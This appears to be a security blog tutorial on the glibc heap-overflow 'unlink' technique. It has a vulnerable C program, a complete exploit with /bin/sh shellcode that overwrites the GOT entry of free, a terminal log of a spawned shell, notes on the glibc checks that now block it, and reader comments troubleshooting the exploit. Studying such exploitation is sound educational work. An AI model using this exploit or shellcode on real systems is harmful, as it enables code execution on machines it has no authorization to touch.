Heap overflow using unlink

Prerequisite:

  1. Understanding glibc malloc

In this post lets learn how heap overflow can be successfully exploited using unlink technique. But before looking into unlink, first lets look into a vulnerable program:

/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

Line [3] of the above program results in heap overflow. User input ‘argv[1]’ is copied to heap buffer ‘first’ without any size restriction. Hence when the user input is greater than 666 bytes, its bounded to overwrite chunk header of the next chunk. This overflow leads to arbitrary code execution.

Pictorial view of heap memory for the vulnerable program:

Unlink:  The main idea of this technique is to trick ‘glibc malloc’ to unlink the ‘second’ chunk. While unlinking GOT entry of free would get overwritten with shellcode address!! After successful overwrite, now when free is called by vulnerable program at line [5], shellcode would get executed. Not very clear? No problem, first lets see what ‘glibc malloc’ does when free gets executed.

Without attacker influence, free at line [4] does the following:

  • For non mmaped chunks, consolidate backward and/or forward.
  • Consolidate backward:
    • Find if previous chunk is free – Previous chunk is free, if current freed chunk’s PREV_INUSE (P) bit is unset. But in our case, previous chunk is allocated since ‘first”s PREV_INUSE bit is set, by default chunk previous to the very first chunk of heap memory is allocated (eventhough it doesnt exists).
    • If free, consolidate ie) unlink (remove) the previous chunk from its binlist, add previous chunk size to current size and change the chunk pointer to point to previous chunk. But in our case previous chunk is allocated, hence unlink isnt invoked. Thus currently freed chunk ‘first’ cant be consolidated backward.
  • Consolidate forward:
    • Find if next chunk is free – Next chunk is free, if next-to-next chunk’s (from currently freed chunk) PREV_INUSE (P) bit is unset. To navigate to next-to-next chunk, add currently freed chunk’s size to its chunk pointer, then add next chunk’s size to next chunk pointer. In our case next-to-next chunk to currently freed ‘first’ chunk is top chunk and its PREV_INUSE bit is set. Thus next chunk ‘second’ chunk is NOT free.
    • If free, consolidate ie) unlink (remove) the next chunk from its binlist and add next chunk size to current size. But in our case next chunk is allocated, hence unlink isnt invoked. Thus currently freed chunk ‘first’ cant be consolidated forward.
  • Now add the consolidated chunk to unsorted bin.  In our case since no consolidation happens, just add the ‘first’ chunk to unsorted bin.

Now lets say attacker at line [3] overwrites the chunk header of ‘second’ chunk as follows:

  • prev_size = even number and hence PREV_INUSE bit is unset.
  • size = -4
  • fd = free address – 12
  • bk = shellcode address

With attacker influence, free at line [4] does the following:

  • For non mmaped chunks, consolidate backward and/or forward.
  • Consolidate backward:
    • Find if previous chunk is free – Previous chunk is free, if current freed chunk’s PREV_INUSE (P) bit is unset. But in our case, previous chunk is allocated since ‘first”s PREV_INUSE bit is set since by default chunk previous to very first chunk of heap memory is allocated (eventhough it doesnt exists).
    • If free, consolidate ie) unlink (remove) the previous chunk from its binlist, add previous chunk size to current size and change the chunk pointer to point to previous chunk. But in our case previous chunk is allocated, hence unlink isnt invoked. Thus currently freed chunk ‘first’ cant be consolidated backward.
  • Consolidate forward:
    • Find if next chunk is free – Next chunk is free, if next-to-next chunk’s (from currently freed chunk) PREV_INUSE (P) bit is unset.To navigate to next-to-next chunk, add ‘currently freed chunk’s size to its chunk pointer, then add next chunk’s size to next chunk pointer. In our case next-to-next chunk to currently freed ‘first’ chunk is NOT top chunk. Next-to-next chunk is at offset -4 from ‘second’ chunk since attacker has overwritten ‘second’ chunk’s size with -4. Thus now ‘glibc malloc’ treats prev_inuse field of ‘second’ chunk as size field of next-to-next chunk. Since attacker has overwritten an even number ( ie) PREV_INUSE (P)  bit is unset) in place of prev_size ‘glibc malloc’ is tricked to believe that ‘second’ chunk is free.
    • If free, consolidate ie) unlink (remove) the next chunk from its binlist and add next chunk size to current size. And in our case next chunk is free, hence ‘second’ chunk is unlinked as follows:
      • Copy ‘second’ chunk’s fd and bk values to variables FD and BK, respectively. In our case FD = free address -12 and BK = shellcode address (As part of heap overflow, attacker places his shellcode inside ‘first’ heap buffer)
      • Value of BK is copied to a location at offset 12 from FD. In our case adding 12 bytes to FD, points to GOT entry of free and hence now GOT entry of free is overwritten with shellcode address. Bingo!! Now on whenever free is invoked, shellcode gets executed!! Thus executing line [5] in vulnerable program results in shellcode execution.
  • Now add the consolidated chunk to unsorted bin.

Pictorial view of heap memory for the vulnerable program, with attacker influenced user input:

Having understood the unlink technique, lets write an exploit program.

/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>

#define FUNCTION_POINTER ( 0x0804978c )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x0804a008 + 0x10 )      //Address of variable 'first' in vuln executable. 

#define VULNERABLE "./vuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1

char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
        "\xeb\x0assppppffff"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* Copy the shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
        would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* the terminating NUL character */
        *p = '';

        /* the execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}

Executing the above program shows that a new shell is spawned!!

sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp 
$ ls
cmd  exp  exp.c  vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$

Protection: At present day, unlink technique doesnt work since ‘glibc malloc’ has got hardened over the years. Below checks are added to prevent heap overflow using unlink technique.

  • Double free: Freeing a chunk which is already in free state is prohibited. When attacker overwrites ‘second’ chunk’s size with -4, its PREV_INUSE bit is unset which means ‘first’ is already in free state. Hence ‘glibc malloc’ throws up double free error.
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      {
        errstr = "double free or corruption (!prev)";
        goto errout;
      }
  • Invalid next size: Next chunk size should lie between 8 bytes to arena’s total system memory. When attacker overwrites ‘second’ chunk’s size with -4, ‘glibc malloc’ throws up invalid next size error.
 if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect (nextsize >= av->system_mem, 0))
      {
        errstr = "free(): invalid next size (normal)";
        goto errout;
      }
  • Courrupted Double Linked list: Previous chunk’s fd and next chunk’s bk should point to currently unlinked chunk. When attacker overwrites fd and bk with free -12 and shellcode address, respectively, free and shellcode address + 8 doesnt point to currently unlinked chunk (‘second’). Hence ‘glibc malloc’ throws up corrupted double linked list error.
 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     
      malloc_printerr (check_action, "corrupted double-linked list", P);

NOTE: For demo purposes, vulnerable program is compiled without following linux protection mechanisms:

Reference:

21 thoughts on “Heap overflow using unlink

  1. AFAIK fastbin double frees work in any context you can create the following condition:

    a = malloc (fastbinsize);
    b = malloc (fastbinsize);
    free (a);
    free (b);
    free (a);

    You can of course also utilize threads to create valid use after free double free type scenarios where one thread double frees but between the two frees another thread allocates the same chunk and thus you end up with a scenario where the second thread did everything correctly; you will of course hit a snag when the in use block is free’d a third time.

    Nice to see someone took the time to document all of this inclusive of useful imagery. I’m surprised ptmalloc3 never got put into play; I’d also be interested to see situationso if any where Solaris could be induced to double free; from memory they used b-trees and assume that all allocates always grow towards higher addresses or similar.

    Like

    • The double free condition check I talked about holds good for small and large bins. W.r.t fastbins, double free check is done only between top chunk of a fast bin index and the currently freed chunk. Thanks for bringing it to my attention!!

      Use-after-free and double-frees are really interesting scenarios which I’m eyeing right now!! Yup next hop is libumem. I’ll keep you posted.

      Like

  2. Which should i download? i download the glibc-2.20 but i haven’t found the glibc-inst2.20. Also there is not a lib directory in any of this packages that i am aware of. What should i do??
    many thanks, and sorry for any inconvenience

    Like

  3. I have downloaded the version of libc u mentioned
    http://gnumirror.nkn.in/libc/glibc-2.20.tar.gz
    and compiled it with the following
    ../glibc-2.20/configure –prefix=/home/storm/heap_exploit/vuln1/glibc-inst2.20/
    make
    make install

    I then I compiled the vulnerable file with
    gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,–rpath=/home/storm/heap_exploit/vuln1/glibc-inst2.20/lib -Wl,–dynamic-linker=/home/storm/heap_exploit/vuln1/glibc-inst2.20/lib/ld-linux.so.2

    I checked with readelf -l and I found that it is using the linker I have specified. However, when I tried to test the heap overflow, I got the following error.

    *** Error in `./vuln’: double free or corruption (!prev): 0x0804a008 ***
    Aborted (core dumped)

    Any idea what I am missing here ??

    Like

  4. I compiled old glibc as per your instructions, compiled vuln.c and exp.c but the exp.c does not seem to work.

    I had to change:

    /* the terminating NUL character */
    *p = ”;

    to

    /* the terminating NUL character */
    *p = ‘\0’;

    to compile exp.c

    I debugged it and it seems it is not even hitting the shellcode.

    I am using Ubuntu 16.04.2 x86_64 ASLR is disabled, also used the compiler flags are in your examples.

    I adjusted also the values:

    #define FUNCTION_POINTER ( 0x0600a78 ) //Address of GOT entry for free function obtained using “objdump -R vuln”.
    #define CODE_ADDRESS ( 0x601010+ 0x10 ) //Address of variable ‘first’ in vuln executable.

    Below is gdb, where I changed the shellcode to “\xcc” … but it is not even hitting it:

    GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
    Copyright (C) 2016 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law. Type “show copying”
    and “show warranty” for details.
    This GDB was configured as “x86_64-linux-gnu”.
    Type “show configuration” for configuration details.
    For bug reporting instructions, please see:
    .
    Find the GDB manual and other documentation resources online at:
    .
    For help, type “help”.
    Type “apropos word” to search for commands related to “word”…
    Reading symbols from ./exp…done.
    (gdb) b execve
    Breakpoint 1 at 0x400570
    (gdb) r
    Starting program: /home/user/security/heapvuln/exp
    p:0x7fffffffe3d8

    Breakpoint 1, __execve (file=0x400884 “./hvuln”, argv=0x7fffffffe110, envp=0x0)
    at ../sysdeps/unix/sysv/linux/execve.c:33
    33 return INLINE_SYSCALL (execve, 3, file, argv, envp);
    (gdb) print shellcode
    $1 =
    (gdb) x/i shellcode
    0x600c18 : int3
    (gdb) cont
    Continuing.
    process 13628 is executing new program: /home/user/security/heapvuln/hvuln
    first:0x601010
    [Inferior 1 (process 13628) exited normally]
    (gdb)

    Any ideas why it doesnt work? Hit the shellcode?

    Thanks,

    Like

  5. Thanks for your post which is very helpful.

    I have a question about below vulnerable code which seam simpler than your example.

    How could i call a shell and exploit it?

    void main(int argc, char** argv)

    {

    char* name=malloc(100);

    strcpy(name, argv[1]);

    free(name);

    }

    Like

Leave a comment